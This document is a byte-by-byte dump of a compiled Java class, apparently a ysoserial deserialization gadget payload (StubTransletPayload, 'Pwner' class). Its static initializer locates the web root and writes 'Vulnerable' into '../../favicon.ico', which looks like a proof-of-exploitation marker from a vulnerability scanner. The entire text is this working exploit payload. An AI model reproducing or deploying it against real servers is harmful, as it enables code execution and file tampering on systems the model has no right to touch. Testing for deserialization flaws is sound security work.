-
- 62
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 60
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 40
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 67
-
-
- 111
-
-
- 100
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 78
-
-
- 117
-
-
- 109
-
-
- 98
-
-
- 101
-
-
- 114
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 76
-
-
- 111
-
-
- 99
-
-
- 97
-
-
- 108
-
-
- 86
-
-
- 97
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 116
-
-
- 104
-
-
- 105
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 73
-
-
- 110
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 101
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 102
-
-
- 111
-
-
- 114
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 114
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 100
-
-
- 111
-
-
- 99
-
-
- 117
-
-
- 109
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 45
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 66
-
-
- 91
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 7
-
-
- 0
-
-
- 39
-
-
- 1
-
-
- 0
-
-
- -90
-
-
- 40
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 68
-
-
- 79
-
-
- 77
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 65
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 40
-
-
- 1
-
-
- 0
-
-
- 51
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 64
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 114
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 47
-
-
- 65
-
-
- 98
-
-
- 115
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 57
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 60
-
-
- 99
-
-
- 108
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 18
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 42
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 44
-
-
- 10
-
-
- 0
-
-
- 45
-
-
- 0
-
-
- 34
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 7
-
-
- 0
-
-
- 47
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 99
-
-
- 117
-
-
- 114
-
-
- 114
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 49
-
-
- 0
-
-
- 50
-
-
- 10
-
-
- 0
-
-
- 48
-
-
- 0
-
-
- 51
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 67
-
-
- 111
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 120
-
-
- 116
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 76
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 25
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 76
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 53
-
-
- 0
-
-
- 54
-
-
- 10
-
-
- 0
-
-
- 48
-
-
- 0
-
-
- 55
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 47
-
-
- 8
-
-
- 0
-
-
- 57
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 108
-
-
- 97
-
-
- 115
-
-
- 115
-
-
- 76
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 34
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 110
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 85
-
-
- 82
-
-
- 76
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 61
-
-
- 0
-
-
- 62
-
-
- 10
-
-
- 0
-
-
- 60
-
-
- 0
-
-
- 63
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 110
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 85
-
-
- 82
-
-
- 76
-
-
- 7
-
-
- 0
-
-
- 65
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 116
-
-
- 104
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 67
-
-
- 0
-
-
- 68
-
-
- 10
-
-
- 0
-
-
- 66
-
-
- 0
-
-
- 69
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 97
-
-
- 112
-
-
- 112
-
-
- 101
-
-
- 110
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 44
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 71
-
-
- 0
-
-
- 72
-
-
- 10
-
-
- 0
-
-
- 45
-
-
- 0
-
-
- 73
-
-
- 1
-
-
- 0
-
-
- 17
-
-
- 46
-
-
- 46
-
-
- 47
-
-
- 46
-
-
- 46
-
-
- 47
-
-
- 102
-
-
- 97
-
-
- 118
-
-
- 105
-
-
- 99
-
-
- 111
-
-
- 110
-
-
- 46
-
-
- 105
-
-
- 99
-
-
- 111
-
-
- 8
-
-
- 0
-
-
- 75
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 116
-
-
- 111
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 12
-
-
- 0
-
-
- 77
-
-
- 0
-
-
- 68
-
-
- 10
-
-
- 0
-
-
- 45
-
-
- 0
-
-
- 78
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 80
-
-
- 10
-
-
- 0
-
-
- 43
-
-
- 0
-
-
- 81
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 7
-
-
- 0
-
-
- 83
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 86
-
-
- 117
-
-
- 108
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 8
-
-
- 0
-
-
- 85
-
-
- 10
-
-
- 0
-
-
- 84
-
-
- 0
-
-
- 81
-
-
- 1
-
-
- 0
-
-
- 14
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 88
-
-
- 1
-
-
- 0
-
-
- 42
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 104
-
-
- 97
-
-
- 114
-
-
- 83
-
-
- 101
-
-
- 113
-
-
- 117
-
-
- 101
-
-
- 110
-
-
- 99
-
-
- 101
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 71
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- 89
-
-
- 0
-
-
- 91
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 102
-
-
- 108
-
-
- 117
-
-
- 115
-
-
- 104
-
-
- 12
-
-
- 0
-
-
- 93
-
-
- 0
-
-
- 11
-
-
- 10
-
-
- 0
-
-
- 89
-
-
- 0
-
-
- 94
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 83
-
-
- 116
-
-
- 97
-
-
- 99
-
-
- 107
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 30
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 51
-
-
- 57
-
-
- 56
-
-
- 52
-
-
- 50
-
-
- 51
-
-
- 48
-
-
- 50
-
-
- 48
-
-
- 50
-
-
- 52
-
-
- 51
-
-
- 53
-
-
- 48
-
-
- 51
-
-
- 1
-
-
- 0
-
-
- 32
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 51
-
-
- 57
-
-
- 56
-
-
- 52
-
-
- 50
-
-
- 51
-
-
- 48
-
-
- 50
-
-
- 48
-
-
- 50
-
-
- 52
-
-
- 51
-
-
- 53
-
-
- 48
-
-
- 51
-
-
- 59
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 41
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- 98
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 63
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
